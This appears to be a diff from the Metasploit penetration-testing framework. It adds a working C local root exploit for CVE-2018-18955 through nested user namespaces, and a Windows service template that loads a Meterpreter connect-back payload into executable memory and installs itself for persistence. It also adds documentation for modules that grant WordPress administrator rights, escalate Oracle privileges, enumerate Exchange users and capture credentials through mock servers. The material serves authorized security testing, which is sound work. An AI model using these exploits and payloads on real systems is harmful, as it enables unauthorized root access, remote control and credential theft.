if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
execl("/bin/bash", "bash", NULL);
err(1, "exec");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
char pbuf[100];
sprintf(pbuf, "/proc/%d", (int)child);
if (chdir(pbuf)) err(1, "chdir");
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
int uid_map = open("uid_map", O_WRONLY);
if (uid_map == -1) err(1, "open uid map");
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
close(uid_map);
int gid_map = open("gid_map", O_WRONLY);
if (gid_map == -1) err(1, "open gid map");
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
close(gid_map);
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
int status;
if (wait(&status) != child) err(1, "wait");
return 0;
}

Binary file not shown.

View File

@ -0,0 +1,272 @@
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
// Exploits broken uid/gid mapping in nested user namespaces.
// ---
// Mostly stolen from Jann Horn's exploit:
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
// Some code stolen from Xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// ---
// <bcoles@gmail.com>
// - added auto subordinate id mapping
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/prctl.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
char* SUBSHELL = "./subshell";
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
static int write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return -1;
if (write(fd, buf, len) != len) {
close(fd);
return -1;
}
close(fd);
return 0;
}
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
int get_subuid(char* output, int max_length) {
char buffer[1024];
char* path = "/etc/subuid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1)
return -1;
int real_uid = getuid();
struct passwd *u = getpwuid(real_uid);
char needle[1024];
sprintf(needle, "%s:", u->pw_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL)
return -1;
int i;
for (i = 0; found[needle_length + i] != ':'; i++) {
if (i >= max_length)
return -1;
if ((found - &buffer[0]) + needle_length + i >= length)
return -1;
output[i] = found[needle_length + i];
}
return 0;
}
int get_subgid(char* output, int max_length) {
char buffer[1024];
char* path = "/etc/subgid";
int length = read_file(path, &buffer[0], sizeof(buffer));
if (length == -1)
return -1;
int real_gid = getgid();
struct group *g = getgrgid(real_gid);
char needle[1024];
sprintf(needle, "%s:", g->gr_name);
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL)
return -1;
int i;
for (i = 0; found[needle_length + i] != ':'; i++) {
if (i >= max_length)
return -1;
if ((found - &buffer[0]) + needle_length + i >= length)
return -1;
output[i] = found[needle_length + i];
}
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int main(int argc, char** argv) {
if (argc > 1) SUBSHELL = argv[1];
dprintf("[.] starting\n");
dprintf("[.] setting up namespace\n");
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
dprintf("[-] pipe\n");
exit(EXIT_FAILURE);
}
pid_t child = fork();
if (child == -1) {
dprintf("[-] fork");
exit(EXIT_FAILURE);
}
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
if (write(sync_pipe[0], "X", 1) != 1) {
dprintf("write to sock\n");
exit(EXIT_FAILURE);
}
if (read(sync_pipe[0], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
if (setgid(0)) {
dprintf("[-] setgid");
exit(EXIT_FAILURE);
}
if (setuid(0)) {
printf("[-] setuid");
exit(EXIT_FAILURE);
}
execl(SUBSHELL, "", NULL);
dprintf("[-] executing subshell failed\n");
}
close(sync_pipe[0]);
if (read(sync_pipe[1], &dummy, 1) != 1) {
dprintf("[-] read from sock\n");
exit(EXIT_FAILURE);
}
char path[256];
sprintf(path, "/proc/%d/setgroups", (int)child);
if (write_file(path, "deny") == -1) {
dprintf("[-] denying setgroups failed\n");
exit(EXIT_FAILURE);
}
dprintf("[~] done, namespace sandbox set up\n");
dprintf("[.] mapping subordinate ids\n");
char subuid[64];
char subgid[64];
if (get_subuid(&subuid[0], sizeof(subuid))) {
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
exit(EXIT_FAILURE);
}
if (get_subgid(&subgid[0], sizeof(subgid))) {
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
exit(EXIT_FAILURE);
}
dprintf("[.] subuid: %s\n", subuid);
dprintf("[.] subgid: %s\n", subgid);
char cmd[256];
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
if (system(cmd)) {
dprintf("[-] newuidmap failed");
exit(EXIT_FAILURE);
}
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
if (system(cmd)) {
dprintf("[-] newgidmap failed");
exit(EXIT_FAILURE);
}
dprintf("[~] done, mapped subordinate ids\n");
dprintf("[.] executing subshell\n");
if (write(sync_pipe[1], "X", 1) != 1) {
dprintf("[-] write to sock");
exit(EXIT_FAILURE);
}
int status;
if (wait(&status) != child) {
dprintf("[-] wait");
exit(EXIT_FAILURE);
}
return 0;
}

Binary file not shown.

View File

@ -0,0 +1,304 @@
#include <String.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#define SERVICE_NAME <%= @service_name.inspect %>
#define DISPLAY_NAME <%= @service_description.inspect %>
#define RETRY_TIME <%= @retry_time %>
//
// Globals
//
SERVICE_STATUS status;
SERVICE_STATUS_HANDLE hStatus;
//
// Meterpreter connect back to host
//
void start_meterpreter()
{
// Your meterpreter shell here
<%= buf %>
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer,buf,sizeof(buf));
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
WaitForSingleObject(hThread, -1); //INFINITE
CloseHandle(hThread);
}
//
// Call self without parameter to start meterpreter
//
void self_call()
{
char path[MAX_PATH];
char cmd[MAX_PATH];
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
// Get module file name failed
return;
}
STARTUPINFO startup_info;
PROCESS_INFORMATION process_information;
ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(startup_info);
ZeroMemory(&process_information, sizeof(process_information));
// If create process failed.
// CREATE_NO_WINDOW = 0x08000000
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
NULL, &startup_info, &process_information) == 0)
{
return;
}
// Wait until the process died.
WaitForSingleObject(process_information.hProcess, -1);
}
//
// Process control requests from the Service Control Manager
//
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
{
switch (fdwControl) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_RUNNING;
break;
default:
break;
}
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
exit(1);
}
return;
}
//
// Main function of service
//
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
// Register the service handler
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
if (hStatus == 0) {
//printf("Cannot register service handler (0x%08x)", GetLastError());
exit(1);
}
// Initialize the service status structure
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
status.dwCurrentState = SERVICE_RUNNING;
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
status.dwWin32ExitCode = 0;
status.dwServiceSpecificExitCode = 0;
status.dwCheckPoint = 0;
status.dwWaitHint = 0;
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
return;
}
// Start the Meterpreter
while (status.dwCurrentState == SERVICE_RUNNING) {
self_call();
Sleep(RETRY_TIME);
}
return;
}
//
// Installs and starts the Meterpreter service
//
BOOL install_service()
{
SC_HANDLE hSCManager;
SC_HANDLE hService;
char path[MAX_PATH];
// Get the current module name
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
//printf("Cannot get module name (0x%08x)", GetLastError());
return FALSE;
}
// Build the service command line
char cmd[MAX_PATH];
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
if (total_len < 0 || total_len >= sizeof(cmd)){
//printf("Cannot build service command line (0x%08x)", -1);
return FALSE;
}
cmd[0] = '\0';
strcat(cmd, "\"");
strcat(cmd, path);
strcat(cmd, "\" <%= @start_cmd %>");
// Open the service manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
//printf("Cannot open service manager (0x%08x)", GetLastError());
return FALSE;
}
// Create the service
hService = CreateService(
hSCManager,
SERVICE_NAME,
DISPLAY_NAME,
0xf01ff, // SERVICE_ALL_ACCESS
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
cmd,
NULL,
NULL,
NULL,
NULL, /* LocalSystem account */
NULL
);
if (hService == NULL) {
//printf("Cannot create service (0x%08x)", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
// Start the service
char* args[] = { path, "service" };
if (StartService(hService, 2, (const char**)&args) == 0) {
DWORD err = GetLastError();
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
{
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return FALSE;
}
}
// Cleanup
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
//printf("Service %s successfully installed.", SERVICE_NAME);
return TRUE;
}
//
// Start the service
//
void start_service()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{ SERVICE_NAME, &ServiceMain },
{ NULL, NULL }
};
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
exit(1);
}
}
//
// Main function
//
int main()
{
// Parse the command line argument.
// For now, int main(int argc, char *argv) is buggy with metasm.
// So we choose this approach to achieve it.
LPTSTR cmdline;
cmdline = GetCommandLine();
char *argv[MAX_PATH];
char * ch = strtok(cmdline," ");
int argc = 0;
while (ch != NULL)
{
argv[argc] = malloc( strlen(ch)+1) ;
strncpy(argv[argc], ch, strlen(ch)+1);
ch = strtok (NULL, " ");
argc++;
}
if (argc > 1) {
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
// Installs and starts the service
install_service();
return 0;
}
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
// Starts the Meterpreter as a service
start_service();
return 0;
}
}
// Starts the Meterpreter as a normal application
start_meterpreter();
return 0;
}

View File

@ -16,6 +16,7 @@ bin
checkfs
checkfsys
checksys
chronos
cmwlogin
couchdb
daemon

File diff suppressed because it is too large Load Diff

View File

@ -33,6 +33,11 @@ module CredentialApiDoc
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
KEY_DESC = 'The name of the key for the realm.'
KEY_EXAMPLE = 'Active Directory Domain'
VALUE_DESC = 'The value of the key for the realm.'
VALUE_EXAMPLE = 'contoso.com'
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
PRIVATE_TYPE_CLASS_ENUM = [
'Metasploit::Credential::ReplayableHash',
@ -108,6 +113,15 @@ module CredentialApiDoc
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Realm do
key :required, [:key, :value]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/credentials' do
# Swagger documentation for /api/v1/credentials GET
operation :get do
@ -197,6 +211,8 @@ module CredentialApiDoc
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
property :realm_key, type: :string, description: KEY_DESC, enum: PRIVATE_TYPE_ENUM
property :realm_value, type: :string, description: VALUE_DESC, enum: PRIVATE_TYPE_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE

View File

@ -0,0 +1,48 @@
## Description
This module exploits the [Wordpress GDPR compliance plugin](https://wordpress.org/plugins/wp-gdpr-compliance/) lack of validation ([WPVDB 9144](https://wpvulndb.com/vulnerabilities/9144)), which affects versions 1.4.2 and lower.
When a user triggers GDPR-related actions, Wordpress's `admin-ajax.php` is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
## Vulnerable Application
[GDPR Compliance plugin <= 1.4.2](https://downloads.wordpress.org/plugin/wp-gdpr-compliance.1.4.2.zip)
## Verification Steps
1. Install the application
2. `./msfconsole`
3. `use auxiliary/admin/http/wp_gdpr_compliance_privesc`
4. `set RHOST [wp host]`
5. `set RPORT [wp port]`
6. `set EMAIL [email address]`
7. `run`
## Scenarios
### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
```
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
verbose => true
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
rhosts => 172.22.222.145
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
email => test@example.com
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
[*] Found version 1.4.2 of the plugin
[*] 172.22.222.145:80 The target appears to be vulnerable.
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
[*] Getting security token from host...
[!] Enabling user registrations...
[!] Setting the default user role type to administrator...
[*] Registering msfuser with email test@example.com
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
```

View File

@ -0,0 +1,28 @@
## Vulnerable Application
1. [Install Oracle Database](http://www.oracle.com/technetwork/indexes/downloads/index.html#database)
2. [Insert the "Scott/Tiger" test data](http://www.orafaq.com/wiki/SCOTT)
## Verification Steps
1. Install the application
2. Connect via sqlplus, and check current privileges:
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
2. Ex: `SELECT * FROM session_privs`
2. Start msfconsole
3. Do: ```use auxiliary/admin/oracle/oracle_index_privesc```
4. Do: set ```SQL```, and ```TABLE``` if desired
5. Do: ```exploit```
6. Reconnect with sqlplus and check privileges post-exploit:
1. Ex: `sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB`
2. Ex: `SELECT * FROM session_privs`
## Options
**SQL**
The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges.
**TABLE**
Table to create the index on.

View File

@ -0,0 +1,47 @@
## Description
This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.
## Vulnerable Application
Any Cisco networking device with the HTTP inteface turned on.
## Verification Steps
1. Enable the web interface on a cisco device `ip http server`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/cisco_device_manager```
4. Do: ```set RHOSTS [IP]```
5. Do: ```run```
## Options
**HttpUsername**
Username to use for basic authentication. Default value is `cisco`
**HttpPassword**
Password to use for basic authentication. Default value is `cisco`
## Scenarios
### Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
```
msf5 > use auxiliary/scanner/http/cisco_device_manager
msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true
vebose => true
msf5 auxiliary(scanner/http/cisco_device_manager) > run
[+] 2.2.2.2:80 Successfully authenticated to this device
[+] 2.2.2.2:80 Processing the configuration file...
[+] 2.2.2.2:80 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:80 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:80 SNMP Community (RO): public
[+] 2.2.2.2:80 ePhone Username 'phoneone' with Password: 111111
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,46 @@
This module enumerates databases on InfluxDB using the REST API using the default authentication of root:root.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/influxdb_enum```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Scenarios
```
msf5 > use auxiliary/scanner/http/influxdb_enum
msf5 auxiliary(scanner/http/influxdb_enum) > set RHOST 172.25.65.20
RHOST => 172.25.65.20
msf5 auxiliary(scanner/http/influxdb_enum) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/http/influxdb_enum) > run
[+] 172.25.65.20:8086 - Influx Version: 1.5.1
[+] 172.25.65.20:8086 - Influx DB Found:
{
"results": [
{
"statement_id": 0,
"series": [
{
"name": "databases",
"columns": [
"name"
],
"values": [
[
"_internal"
]
]
}
]
}
]
}
[+] File saved in: /Users/unix/.msf4/loot/20180423050119_default_172.25.65.20_influxdb.enum_623871.txt
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,53 @@
## Vulnerable Application
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server from the above link
* Create a new Queue Manager
* Create a new channel (without SSL)
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
* Run the module
## Verification Steps
Example steps in this format (is also in the PR):
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
4. Do: ```set channel <admin_channel_name_without_ssl>```
5. Do: ```set queue_manager <queue_manager_name>```
5. Do: ```set usernames_file <list_of_usernames>```
6. Do: ```set rhosts <target_IP>```
7. Do: ```set rport <port>```
8. Do: ```run```
Example output:
```
msf auxiliary(scanner/misc/ibm_mq_login) > run
[*] 10.1.1.10:1416 - Found username: admin
[*] 10.1.1.10:1416 - Found username: test
[+] 10.1.1.10:1416 - 10.1.1.10:1416 Valid usernames found: ["admin", "test"]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Options
**The USERNAMES_FILE option**
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
**The QUEUE_MANAGER option**
This option should contain the name of the target Queue Manager.
**The CHANNEL option**
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
* ```auxiliary/scanner/misc/ibm_mq_enum```
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.

View File

@ -0,0 +1,59 @@
The `java_jmx_scanner` module uses the `Msf::Exploit::Remote::Java::Rmi::Client` library to perform a handshake with a Java JMX MBean server. JMX MBean listens in 1099 by default, and is used to manage and monitor Java applications.
The module returns whether the target is a Java JMX MBeans server and also outputs if the server requires authentication.
## Vulnerable Application
While many implementations of JMX are available, the module was successfully tested against an Apache ActiveMQ 5.13.3 server with JMX enabled. For convenience, a docker container (`antonw/activemq-jmx`) supports JMX and can be tweaked to require authentication.
## Verification Steps
See [PR#10401](https://github.com/rapid7/metasploit-framework/pull/10401) for general information, and [this specific comment](https://github.com/rapid7/metasploit-framework/pull/10401#issuecomment-448705897) for steps to require JMX authentication in the container. In summary:
```
docker run -p 1099:1099 antonw/activemq-jmx
docker exec -u=root -it `docker ps -q` /bin/bash
# echo -e "monitorRole QED\ncontrolRole R&D" /etc/java-7-openjdk/management/jmxremote.password
# chown activemq /etc/java-7-openjdk/management/jmxremote.password
# chmod 400 /etc/java-7-openjdk/management/jmxremote.password
# sed 's/-Dcom.sun.management.jmxremote.authenticate=false/-Dcom.sun.management.jmxremote.authenticate=true/' /opt/apache-activemq-5.13.3/bin/env
docker restart `docker ps -q`
```
## Options
**Option name**
Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
## Scenarios
### ActiveMQ 5.13.3
Against the above-described Docker container, the workflow looks like:
```
msf5 auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1
msf5 auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099
msf5 auxiliary(scanner/misc/java_jmx_server) > run
[*] Reloading module...
[*] 127.0.0.1:1099 - Sending RMI header...
[*] 127.0.0.1:1099 - localhost:1099 Java JMX MBean authentication required
[*] 127.0.0.1:1099 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
In addition, note that `services` within the data model has been updated:
```
msf5 auxiliary(scanner/misc/java_jmx_server) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 1099 tcp java-rmi open JMX MBean server accessible
```

View File

@ -0,0 +1,21 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate email.
Error-based user enumeration for Office 365 integrated email addresses
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/exchange_enum`
- `set (`EMAIL` or `EMAIL_FILE`)`
- `run`
- `creds`
*Results should look something like below if valid users were found:*
```
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
<ip> <ip> 443/tcp (owa) chris@somecompany.com
```

View File

@ -0,0 +1,42 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
**Identify Command**
- Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
- Queries for specific DNS records related to Office 365 integration
- Attempts to extract internal domain name for onprem instance of Exchange
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
- Lists password-sprayable services exposed for onprem Exchange host
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/host_id`
- `set RHOSTS <target>`
- `run`
*Results should look like below:*
```
msf5 > use auxiliary/scanner/msmail/host_id
msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS <host>
RHOSTS => <host>
msf5 auxiliary(scanner/msmail/host_id) > run
[*] Running for <ip>...
[*] Attempting to harvest internal domain:
[*] Internal Domain:
[*] <domain>
[*] [-] Domain is not using o365 resources.
[*] Identifying endpoints vulnerable to time-based enumeration:
[*] [+] https://<host>/Microsoft-Server-ActiveSync
[*] [+] https://<host>/autodiscover/autodiscover.xml
[*] [+] https://<host>/owa
[*] Identifying exposed Exchange endpoints for potential spraying:
[*] [+] https://<host>/oab
[*] [+] https://<host>/ews
```

View File

@ -0,0 +1,25 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
- Error-based user enumeration for on premise Exchange services
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/onprem_enum`
- `set RHOSTS <target>`
- `set (`USER` or `USER_FILE`)
- `run`
- `creds`
*Results should look something like below if valid users were found:*
```
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
10.1.1.1 10.1.1.1 443/tcp (owa)
10.1.1.1 10.1.1.1 443/tcp (owa) chris
```

View File

@ -0,0 +1,43 @@
This module creates a mock PostgreSQL server which accepts credentials. Upon receiving a login attempt, a
`FATAL: password authentication failed for user` error is thrown.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/postgresql```
3. Do: ```run```
## Options
**SSL**
Boolean if SSL should be used. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is null.
## Scenarios
### PostgreSQL Server and psql Client
Server:
```
msf5 > use auxiliary/server/capture/postgresql
msf5 auxiliary(server/capture/postgresql) > run
[*] Auxiliary module running as background job 0.
[*] Started service listener on 0.0.0.0:5432
[*] Server started.
[+] PostgreSQL LOGIN 127.0.0.1:49882 msf / pwn_all_da_tings / msf
```
Client:
```
root@kali:~# psql -U msf -h 127.0.0.1
Password for user msf:
psql: FATAL: password authentication failed for user "msf"
```

View File

@ -0,0 +1,57 @@
This module creates a mock telnet server which accepts credentials. Upon receiving a login attempt, a `Login failed` error is thrown.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/telnet```
3. Do: ```run```
## Options
**BANNER**
The Banner which should be displayed. Default is empty, which will display `Welcome`.
**SSL**
Boolean if SSL should be used. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is ``.
## Scenarios
### Telnet Server and Client
Server:
```
msf5 > use auxiliary/server/capture/telnet
msf5 auxiliary(server/capture/telnet) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/telnet) >
[*] Started service listener on 0.0.0.0:23
[*] Server started.
[+] TELNET LOGIN 127.0.0.1:40016 root / <3@wvu_is_my_hero
```
Client:
```
root@kali:~# telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Welcome
Login: root
Password: <3@wvu_is_my_hero
Login failed
Connection closed by foreign host.
```

View File

@ -0,0 +1,69 @@
This module creates a mock VNC server which accepts credentials. Upon receiving a login attempt, an `Authentication failure` error is thrown.
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/server/capture/vnc```
3. Do: ```run```
## Options
**CHALLENGE**
The 16 byte challenge used in the authentication. Default is `00112233445566778899aabbccddeeff`.
**JOHNPWFILE**
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
**SSL**
Boolean if SSL should be used. Default is `False`.
**SSLCert**
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
generated. Default is ``.
## Scenarios
### VNC with vncviewer and JTR Cracking
Server, Client:
```
msf5 > use auxiliary/server/capture/vnc
msf5 auxiliary(server/capture/vnc) > use auxiliary/server/capture/vnc
msf5 auxiliary(server/capture/vnc) > set johnpwfile /tmp/john
johnpwfile => /tmp/john
msf5 auxiliary(server/capture/vnc) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/vnc) >
[*] Started service listener on 0.0.0.0:5900
[*] Server started.
msf5 auxiliary(server/capture/vnc) > vncviewer 127.0.0.1
[*] exec: vncviewer 127.0.0.1
Connected to RFB server, using protocol version 3.7
Performing standard VNC authentication
Password:
Authentication failure
